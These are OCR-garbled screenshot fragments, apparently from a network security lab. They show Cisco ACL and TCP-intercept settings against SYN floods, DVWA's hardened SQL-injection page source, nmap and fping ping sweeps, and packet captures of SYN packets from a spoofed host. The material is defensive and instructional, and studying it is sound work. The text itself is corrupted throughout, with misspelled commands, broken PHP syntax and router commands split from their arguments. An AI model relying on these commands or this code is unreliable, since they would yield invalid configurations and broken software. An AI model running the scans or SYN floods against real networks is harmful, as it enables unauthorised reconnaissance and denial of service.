KaliLinux ~ KaliTraining - KaliTools # KaliDocs ~ KaliForums ~ NetHunter ] Offensive Security * Exploit-DB “ GHDB ] MSFU

The connection has timed out

The serverat 172.16.1.11 is taking too long to respond.

« The site could be temporarily unavailable or too busy. Try againina
few moments.

« Ifyouare unable to load any pages, check your computer's network
‘connection.

« Ifyour computer or network is protected by a firewall or proxy, make
sure that Firefox is permitted to access the Web.
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cisco3725(config)#access-1ist 101 deny icmp 192.168.2.8 ©.0.0.255 any
kizcomras(contig)sint f0/0

isco3725 (config-if)#ip access-group 101 in

kisco3725 (config-if)#

Ciscozran(contip-ifydl
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R3(config)#ip
R3(config)#ip
R3(config)#ip
R3(config)#ip
R3(config)#ip
R3(config)#ip
R3(config)#ip
R3(config)#ip

inspect
inspect.
inspect.
inspect.
inspect.
inspect.
inspect.
inspect

‘tcp max-incomplete host 3@@ block
tcp max-incomplete host 300 block-tine @
tcp synwait-tine 20

tcp idle-tine 60

max-inconplete high 400

max-inconplete low 300

one-minute high 600

one-minute low 500
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<2php

if( issec( §_GET[ 'Submic’ 1) ) (
7/ Check Anti-CSRF token
CheckToken( §_REQUEST[ 'user_token' ], §_SESSION| 'session_token' ], 'index.php’ );

// Get input
sid = §_GET[ 'id’ 1:

// Was a mumber entered?
if(is_mumeric( $id )) {
/7 Check the database
Sdata = Sdb->prepare( 'SELECT first name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
Sdata->bindParam( ':id', $id, PDO::FARAM INT )7
Sdata->execute () ;
Szow = Sdata->fetch():

// Make sure only 1 result is returned
1f( Sdata->rowCount() == 1) {
7/ Get values
S$first = Srowl 'firsc_name' ];
Slast = Srowl 'last_name’ ]

// Feedback for end user

echo "<pre>ID: {$id)<br />First name: {$first)<br />Surname: {§lasti</pre>";

)

// Generate Anti-CSRF token
generateSessionToken () ;
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$ fping -2 192.168.2.0/24
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sent to
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$ nmap -sP 192.168.1.1/24

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-22 16:20 EDT
Nmap scan report for 192.168.1.1

Host is up (0.0100s latency).

Nmap done: 256 IP addresses (1 host up) scanned in 16.07 seconds
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$ ping 192.168.2.1

PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
From 192.168.2.1 icmp_seq-1 Packet filtered

From 192.168.2.1 icmp_seq-2 Packet filtered

From 192.168.2.1 icmp_seq-3 Packet filtered

From 192.168.2.1 icmp_seq-4 Packet filtered

From 192.168.2.1 icmp_seq=5 Packet filtered
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207 112.412403  255.218.210.137 172.16.1.11 T 54 64777 » 80 [SYN] Seq=0 Win=557 Len=p
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317 112.616883  255.218.210.137 172.16.1.11 T 54 35118 » 30 [SYN] Seq=0 Win=725 Len=p
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